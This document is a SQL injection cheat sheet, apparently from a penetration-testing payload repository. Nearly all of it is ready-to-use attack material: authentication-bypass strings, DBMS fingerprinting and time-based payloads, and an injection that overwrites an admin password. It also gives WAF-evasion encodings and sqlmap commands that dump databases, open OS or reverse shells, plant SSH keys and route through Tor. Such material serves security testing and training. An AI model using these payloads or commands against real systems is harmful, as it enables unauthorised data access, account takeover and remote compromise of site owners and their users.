SQL injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:

- Information Leakage
- Disclosure of stored data
- Manipulation of stored data
- Bypassing authorisation controls

Summary

Entry point detection

Detection of an SQL injection entry point Simple characters

```
'
%27
"
%22
```

```
#
%23
;
%3B
)
Wildcard (*)
&apos;  # required for XML content
```

Multiple encoding

```
%%2727
%25%27
```

Merging characters

```
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

DBMS Identification

```
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

SQL injection using SQLmap

Basic arguments for SQLmap

```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --
risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords
--current-user --dbs
```

Load a request file and use mobile user-agent

```
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

Custom injection in UserAgent/Header/Referer/Cookie

```
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --
headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

Second order injection

```
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order
"http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order
"http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

Shell

```
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell
```

```
Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-
write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

Crawl a website with SQLmap and auto-exploit

```
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5
--level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts
the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

Using TOR with SQLmap

```
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor -
-level=5 --risk=3 --threads=5
```

Using a proxy with SQLmap

```
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

Using Chrome cookie and a Proxy

```
sqlmap -u "https://test.com/index.php?id=99" --load-
cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-
sec 15 --level 3
```

Using suffix to tamper the injection

```
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

General tamper option and tamper's list

```
tamper=name_of_the_tamper
```

Tamper	Description
0x2char.py	Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.py	Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py	Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py	Appends encoded NULL byte character at the end of payload
base64encode.py	Base64 all characters in a given payload
between.py	Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py	Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py	Double url-encodes all characters in a given payload (not processing already encoded)
charencode.py	URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py	Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py	Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
commentbeforeparentheses.py	Prepends (inline) comment before parentheses (e.g. (-> /**/()
concat2concatws.py	Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py	Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py	Replaces all occurrences of operator equal ('=') with operator 'LIKE'
escapequotes.py	Slash escape quotes (' and ")
greatest.py	Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py	Adds versioned MySQL comment before each keyword
htmlencode.py	HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')
ifnull2casewhenisnull.py	Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
ifnull2ifisnull.py	Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
informationschemacomment.py	Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier
least.py	Replaces greater than operator (‘>’) with ‘LEAST’ counterpart

Tamper	Description
lowercase.py	Replaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.py	Embraces complete query with versioned comment
modsecurityzeroversioned.py	Embraces complete query with zero-versioned comment
multiplespaces.py	Adds multiple spaces around SQL keywords
nonrecursivereplacement.py	Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
overlongutf8.py	Converts all characters in a given payload (not processing already encoded)
overlongutf8more.py	Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py	Adds a percentage sign ('%') infront of each character
plus2concat.py	Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
plus2fnconcat.py	Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.py	Replaces each keyword character with random case value
randomcomments.py	Add random comments to SQL keywords
securesphere.py	Appends special crafted string
sp_password.py	Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py	Replaces space character (' ') with comments
space2dash.py	Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py	Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py	Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py	Replaces space character (' ') with plus ('+')
space2randomblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py	Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py	Replaces UNION ALL SELECT with UNION SELECT

Tamper	Description
unmagicquotes.py	Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py	Replaces each keyword character with upper case value 'INSERT'
varnish.py	Append a HTTP header 'X-originating-IP'
versionedkeywords.py	Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py	Encloses each keyword with versioned MySQL comment
xforwardedfor.py	Append a fake HTTP header 'X-Forwarded-For'

SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
```

Authentication bypass

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
```

```
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
```

```
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```
md5("ffifdyop", true) = 'or'6�]��!r,��b␜
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

```
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

Routed injection

```
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com",
"bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com",
"bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE
KEY UPDATE password="bcrypt_hash_of_qwerty" -- ",
"bcrypt_hash_of_your_password_input");
```

```
This query will insert a row for the user “attacker_dummy@example.com”. It will also
insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to
update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password
“qwerty”!
```

WAF Bypass

White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

```
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```
?id=(1)and(1)=(1)--
```

Whitespace alternatives by DBMS

DBMS	ASCII characters in hexadicimal
SQLite3	0A, 0D, 0C, 09, 20
MySQL 5	09, 0A, 0B, 0C, 0D, A0, 20
MySQL 3	01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0
PostgreSQL	0A, 0D, 0C, 09, 20
Oracle 11g	00, 0A, 0D, 0C, 09, 20
MSSQL	01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20

Example of query where spaces were replaced by ascii characters above 0x80

```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```

No Comma

Bypass using OFFSET, FROM and JOIN

```
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT
3)c JOIN (SELECT 4)d
```

No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

```
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```

Case modification

Bypass using uppercase/lowercase (see keyword AND)

```
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Bypass using keywords case insensitive / Bypass using an equivalent operator

```
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

Obfuscation by DBMS

MySQL

```
1.UNION SELECT  2
3.2UNION    SELECT  2
1e0UNION    SELECT  2
SELECT\N/0.e3UNION  SELECT  2
1e1AND-0.0UNION SELECT  2
1/*!12345UNION/*!31337SELECT/*!table_name*/
{ts 1}UNION SELECT.``   1.e.table_name
SELECT  $.``    1.e.table_name
SELECT{_    .``1.e.table_name}
```

```
SELECT  LightOS .   ``1.e.table_name    LightOS
SELECT  information_schema 1337.e.tables    13.37e.table_name
SELECT  1   from    information_schema 9.e.table_name
```

MSSQL

```
.1UNION SELECT  2
1.UNION SELECT.2alias
1e0UNION    SELECT  2
1e1AND-1=0.0UNION   SELECT  2
SELECT  0xUNION SELECT  2
SELECT\UNION    SELECT  2
\1UNION SELECT  2
SELECT  1FROM[table]WHERE\1=\1AND\1=\1
SELECT"table_name"FROM[information_schema].[tables]
```

Oracle

```
1FUNION SELECT  2
1DUNION SELECT  2
SELECT  0x7461626c655f6e616d65  FROM    all_tab_tables
SELECT  CHR(116)    ||  CHR(97) ||  CHR(98) FROM    all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
```

More MySQL specific

`information_schema.tables` alternative

```
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+------------
----------+--------------------------+
| database_name  | table_name            | last_update         | n_rows |
clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+------------
----------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |
1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |
1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+------------
----------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

Version Alternative

```
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

WAF bypass for MySQL using scientific notation

Blocked

```
' or ''='
```

Working

```
' or 1.e('')='
```

Obfuscated query

```
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1
1.e)1.e)1.e) = 70 or'1'='2
```

References

- Detect SQLi
  - Manual SQL Injection Discovery Tips
  - NetSPI SQL Injection Wiki
- MySQL:
  - PentestMonkey's mySQL injection cheat sheet
  - Reiners mySQL injection Filter Evasion Cheatsheet
  - Alternative for Information_Schema.Tables in MySQL
  - The SQL Injection Knowledge base

- MSSQL:
  - EvilSQL's Error/Union/Blind MSSQL Cheatsheet
  - PentestMonkey's MSSQL SQLi injection Cheat Sheet
- ORACLE:
  - PentestMonkey's Oracle SQLi Cheatsheet
- POSTGRESQL:
  - PentestMonkey's Postgres SQLi Cheatsheet
- Others
  - SQLi Cheatsheet - NetSparker
  - Access SQLi Cheatsheet
  - PentestMonkey's Ingres SQL Injection Cheat Sheet
  - Pentestmonkey's DB2 SQL Injection Cheat Sheet
  - Pentestmonkey's Informix SQL Injection Cheat Sheet
  - SQLite3 Injection Cheat sheet
  - Ruby on Rails (Active Record) SQL Injection Guide
  - ForkBombers SQLMap Tamper Scripts Update
  - SQLi in INSERT worse than SELECT
  - Manual SQL Injection Tips
- Second Order:
  - Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection
  - Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper
- Sqlmap:
  - #SQLmap protip @zh4ck
- WAF:
  - SQLi Optimization and Obfuscation Techniques by Roberto Salgado
  - A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection